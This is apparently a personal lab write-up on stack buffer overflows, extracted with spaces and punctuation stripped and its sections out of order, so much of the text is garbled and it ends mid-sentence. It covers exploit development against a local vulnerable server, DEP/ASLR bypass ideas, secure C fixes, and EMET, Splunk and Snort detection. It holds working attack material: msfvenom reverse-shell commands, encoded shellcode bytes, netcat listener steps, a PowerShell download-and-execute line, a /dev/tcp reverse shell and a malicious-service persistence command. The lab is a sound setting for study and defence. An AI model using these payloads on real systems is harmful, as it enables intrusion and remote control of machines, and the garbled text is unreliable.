For EMET there are three levels Information Warning and Error Information messages are used for logging usual operation such as

the EMET Notifier starting Warning messages are used when EMET settings change Error messages are used for logging cases

whereEMETstoppedanapplicationwithoneofitsmitigationswhichmeansanactiveattackhasbeenblocked

EMET and Defender logs can be sent to a central log collection server or from the local machine Irsquoll refer to an example where their

sent to a central log collector parsed then sent onto your SIEM Here is a brief example of an a SPLUNK integration on Windows but a

similarmodelcouldbedeployedwithSyslogSyslogServersandanELKStackactingasaSIEM

Yoursquoll need to ensure your local endpoints are configured to log EMET via GPO Windows Event Collector service is enabled and a

collection server is deployed Here is an example of a local local log policy setting to push down to the endpoints being monitored via

GPOetc

ltQueryListgt

ltQueryId=0Path=Applicationgt

ltSelectPath=Applicationgt[System[Provider[Name=EMET]and(Level=2)]]ltSelectgt

ltQuerygt

ltQueryListgt

To analyze the EMET data in Splunk yoursquoll need to install the Splunk Universal Forwarder on the central log collection server and

configure it to send logs from the collectorsyslog server to a Splunk indexer Splunk Indexer is just a fancy way to say a network service

to send your logs to which has some special logic to parser filter transform and write your logs in a unique format to Splunk based on

somepredefinedSplunkpolicy

Yoursquoll may need to set a filter on the central log server to parse the events for the EMET alerts before sending them on Below is an

exampleoftheWindowseventssubscriptionfilterRememberthedefaultlocationofforwardedlogeventsistheForwardedEventslog

The following is a Splunk sample configurations that can be used in the Splunk inputsconf file on the central log collection server

BasicallythispolicysayswhichlogscangetsentontotheSIEM

[WinEventLogForwardedEvents]

disabled=0

renderXml=1

evt_resolve_ad_obj=1

The above policy config tells the Splunk Universal Forwarder to monitor the Forwarded Events log on the log collection server and to

and send the events in XML format allows for facilitated extraction of information in Splunk to aid in the creation of useful Splunk

queries

SampleEMETEvent

EMETversion55587131892

EMETdetectedEAF+mitigationandwillclosetheapplicationIEXPLOREEXE

EAF+checkfailed

ApplicationCProgramFiles(x86)InternetExplorerIEXPLOREEXE

UserNameDOMAINuser

SessionID1

PID0x1348(4936)

TID0xF90(3984)

ModuleSOMEDLLdll

ModBase0x11630000

ModAddress0x11642E99

MemAddress0x76F501A4

Your Blue Team can configure an alert based on these results Consider correlating the alert with internal ranking of the assets value to

prioritize the response For example an alert like this on a PCI system or system storing your unreleased Intellectual Property may

need immediate action compared to a non production server being pen tested Although a non production server sounds like a nice

beachheadtomaintainafoothold

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdf

httpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-server

DetectingSuccessfulBufferOverAttempts

The Blue Team philosophy is to assume your compromise and look for Indicators of Compromise In this model we assume the attacker

has successfully launched a buffer overflow and gained command and control over the asset Which means our mitigations have failed

which they will In my mind there are two techniques Irsquod lie to cover Irsquom sure there are more but as a newcomer I think these two

approachespaintsasolidpicture

1) Networkbasedsignaturedetection(Thismayalsocatchunsuccessfulattempts)

2) Hostbasedsignaturedetection

NetworkBasedDetection

Letrsquos consider the basic reverse shell we created with MSFVENOM from metasploit and packched into our malware variable in the

clientpyscriptWhenthisattackoccursithasafewuniquecharacteristicsinsidethenetworkcommunication

1 EncodedHEXpayloadmalwarewithintheclientattack

2 Abunchofx90rsquoswithintheclientattack

3 possiblybinbashorotheruniquestringssentbackinthereverseshellasSTIOtotheattackersterminal

If you had an inline or passive IDS which had access to the buffer overflow network packets a Blue Teams will likely have

SNORTSURICATA rules which alert on signatures that match our payload This is because the commands to gain a reverse shell from

bash sh python etc are universally known Irsquove included a few examples of emerging shell_code SNORT rules that look for metasploit

generatedBSDshellcode

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 2)

content|6a 61 58 99 52 42 52 42 52 68| fast_patternonly referenceurldocemergingthreatsnet2010416

classtypeshellcode-detect sid2010416 rev4 metadataaffected_product Any attack_target Client_and_Server deployment

Perimeter deployment Internet deployment Internal deployment Datacenter tag Metasploit signature_severity Critical created_at

2010_07_30updated_at2016_07_01)

alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)

content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly

referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any

attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag

Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)

Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly

impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS

interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the

payloadsolargethattherulesareignoredduetoperformanceaswellSneaky

HostBasedDetection

In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and

made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer

OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean

Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas

netviewdomain

netuserdomain

netaccountsdomain

Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas

systeminfo

netlocalgroupldquoAdministratorsrdquo

uname-a

catprocissue

Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell

start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait

powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString

(http10022108081CodeExecutionInvoke-Shellcodeps1)

Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc

ENJOY

ReferencesandHonorableMentions

GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf

httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors

- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore

- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere

Wheredoweputourmalware

While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the

clientpyscriptputtingthemalwarebeforeEIPlookslikethis

NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS

Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is

important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left

manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior

because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory

address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and

unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto

HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow

malware=x41x30

eip=x97xcfxfaxb7

eip=x41x41x41x41

ending=x90200

nopsled=(x41(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then

look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote

with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register

pointertojumpintothenopsled

One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that

specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that

can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out

bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo

for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell

codeaftertheEIPsowecanjumpintoESP

NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS

BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip

x86encodedShellCodewBadCharacters(Fornextsection)

xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1

x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f

xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0

xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45

x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33

x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01

xd8x7dxf3xdcx9bx00x00

Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade

UpdatedclientpyCodewiththeldquoBadCharactercoderdquo

Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the

clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and

overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a

connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection

willfail

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or

WHOIScommandsLetrsquosinvestigate

1 RightclickEIPinRegisterWindowsrarrFollowinDump

2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending

3 Lookforx00commandsandtrytonoticeanythingorstrange

WhattheTargetMachineSees

Whatwesentover

We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc

etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does

not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP

CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence

of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into

various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad

charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard

So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and

omitcharacters

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow

ofhellip

1 UseagiantblobofallASCIcharactersinHEX

2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline

Howtotestforbadcharactersandotherassemblyandregisterissues

Terminal1Server1337

Terminal2edb(orGDBIwonrsquotjudge)

fromedbrarrattachrarrServer

fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning

Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory

Yoursquollbelookingforx41orx90rsquos

Option1-AlltheASCII

x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10

x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20

x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30

x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40

x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50

x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60

x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70

x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80

x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90

x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0

xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0

xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0

xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0

xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0

xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff

Option2-Testsomespecificcommands

msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto

thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest

Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution

ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime

issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo

KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor

hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO

commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell

NewPayload

xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1

x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f

x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a

x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0

x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91

xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1

x7dxaaxa8x1cxfd

Enablenetcatonport4444(nc-lvp4444)

TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB

Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)

WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444

ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode

FinalResults

SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere

theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback

toourldquoattackingrdquoterminal(farthestright)

CommonBufferOverflowExampleandMitigations(inC)

WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare

morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated

stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline

orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()

andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe

assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe

registersofacompiledbinaryorreviewingtheoutputfromGHIDRA

gets

Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability

VulnerableCode(SOURCE)

printfexternallink(Inputsomethingnastyhere)

gets(something)

VulnerableCode(ASSEMBLY)

FixedCode

printfexternallink(Inputsomethingnastyhere)

fgets(usernameLENGTHstdin)

strcpy

Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone

contiguoustomemorywherethepayloadisstored

VulnerableCode

charstr1[10]

charstr2[]=badstuffhere

strcpy(str1str2)

FixedCode(SOURCE)

enumBUFFER_LIMIT=1024

intmain()

chardst[BUFFER_LIMIT]

charsrc[]=badstuffhere

intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)

if(buffer_lengthgt=BUFFER_LIMIT)

printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn

buffer_lengthBUFFER_LIMIT-1)

VulnerableCode(ASSEMBLY)

Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows

FixedCode(SOURCE)

enumBUFFER_BOUNDARY_SIZE=1024

charstr1[BUFFER_BOUNDARY_SIZE]

charstr2[]=badstuffhere

strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize

strcat

YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto

thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin

sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied

FixedCode(SOURCE)

defineBUFFER_BOUNDARY_SIZE1024

charbuff[BUFFER_BOUNDARY_SIZE]

Usesecurestrncpythenuse

strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)

buff[BUFFER_BOUNDARY_SIZE-1]=0

strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)

strcmp

ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach

otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot

validatethesizeoftheinputagainstthepredefinedbuffer

OtherMitigationstoBufferOverflows

During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable

ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the

following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits

need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my

own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the

newcomertodiptheirtoesintothesubjects

Canary

A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions

prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary

ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps

detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly

overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith

https0x00secorgtexploit-mitigation-techniques-stack-canaries5085

httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained

httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf

DEP-DataExecutionProtection

DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware

executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as

non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns

For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag

of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other

linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow

security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks

forroutineswithanytypeofbuffer

In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get

the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the

bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP

setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may

introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP

httpslwnnetArticles422487

httpslinuxdienetman8execstack

httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in

httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your

httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae

BypassingDEP

Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to

David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view

ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining

So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu

will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you

overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary

arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in

linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable

in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another

option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in

the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the

application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of

instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope

somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle

ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot

intendtohavethewordldquoheartrdquodidherdquo

Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your

payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP

gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET

instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps

An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute

ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script

which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1

But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it

difficulttocallexecve()orsystem()

Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove

found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create

a new executable space or change the flag for existing executable space However finding the memory addresses to these functions

andcallingthemappearstobeadifferentstory

httpsgithubcomJonathanSalwanROPgadget

httpswwwrapid7comresourcesrop-exploit-explained

httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf

httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf

httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi

ng-chains]pdf

ASLR(Addressspacelayoutrandomization)

Inourexampleyoumayhavenoticedthatwecoulddirectlypullamemoryaddressandre-usethataddressinorubufferoverflowPoCThisisbecausewedisabledASLRviaLinuxecho0|sudoteeprocsyskernelrandomize_va_spaceWindows[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerMemoryManagement]ldquoMoveImagesrdquo=dword00000000Addressspacelayoutrandomization(ASLR)isamechanisminvolvedinreducingreliabilityofexploitationviamemorycorruptionattacksliketheBufferOverflowinthisPoCInourPoCyoumayhavenoticedwepulledthehardwarememorylocationsofourbinariesandthenpointedbacktothosehardwarememorylocationsIfyoucanobscurethosememorylocationssuchthatpredictingthemisincreasinglydifficultthenthebarrierentryinexploitwritingandexecutionbecomesharderForexampleweusedJMPESPmemorylocationtoslidebackintoourNOPSLEDASLRwouldrandomlyarrangesthevirtualmemoryaddressspacepositionsofkeydataareasofaprocessincludingthebaseoftheexecutableandthepositionsofthestackheapandlibrarieswhentheythebinaryisloadedIfwewanttojumpintoaROPgadgetorcallnativeAPIrsquosandDLLshowwouldwedoitifwecanrsquotaccuratelyupdatearegistrypointerwiththememorylocation

BypassingASLR

Admittedly this is a very deep rabbit hole Most write-ups and video tutorials require an expert level knowledge of assembly and

windowslinux software architecture beyond what I intended this write-up for Irsquoll do my best to boil what Irsquove learned down into digestible

chunksandhopefullythishelpsguidemyselfandotherfurtherstudies

NonASLRlinkedbinaries

It seems like that as Windows and Linux made the transition to ASLR in the early 2000rsquos that about a decade later they were left with

some non ASLR binaries for cross compatibility It could even be that some custom application you downloaded ported over something

that is specifically ASLR disabled I found an example of this in the following two articles hellip Attacking specific functions within non ASLR

enabled binaries appears to be an early method where if we could find a ldquouniversalrdquo DLL in windows or linux we may be able to call the

memory address of JMP ESP or ROP GADGET or similar from there The point is a combination of an insecure ASLR enabled program

with access or links to a non ASLR binary results in access instructions and predictable memory locations that can be used to bypass

ASLRandbeginaROPattack

httpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdf

httpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdf

PointerLeaksDanglingPointers

If you dig deep enough yoursquoll find some mention of modern attacks using dangling pointers or pointer leakers to bypass ASLR This isnrsquot

for the faint of heart and probably not for a newcomer like myself but I like rabbit holes A dangling pointer bug can be used to put code

into an application An object put into memory is allocated a space in heap and object functions are typically managed via a VFTABLE

which creates virtual pointers which reference the actual object in HEAP My understanding is that if you can overwrite the memory

object in HEAP with exact procesion at the exact time after it has be de-allocated from memory but before it has been destructed that

the object space can be overwritten with malicious code This is due to how allocation of heap is managed de-allocated freed and how

virtualfunctionsarereferencedviavirtualtables

httpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdf

httpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdf

httpswwwrapid7comresourceswhy-you-should-be-using-emet

HEAPSprayswithASLRdisabledVirtualAlloc()inWindows

If you canrsquot find memory location of instructions in ASLR protected binaries and libraries it appears you can spray the heap and create

write chunks to memory of NOPs and malware You would likely still need to bypass DEP so ROP chains still apply however you can

either look for non ASLR binary to ROP or spray ROP gadgets in the blocks passed to HEAP Spraying Heap with memory allocated by

VirtualAlloc() appears to have been a successful method by bypass ASLR because VirtualAlloc() was not ASLR protected but this

seemslikejustplainluck

httpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystified

httpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdf

BlueteamEngineeringforpostBufferOverflow

For my own general curiosity I wanted to end this PoC with some notes on how detect a Buffer Overflow attack My intent is to just

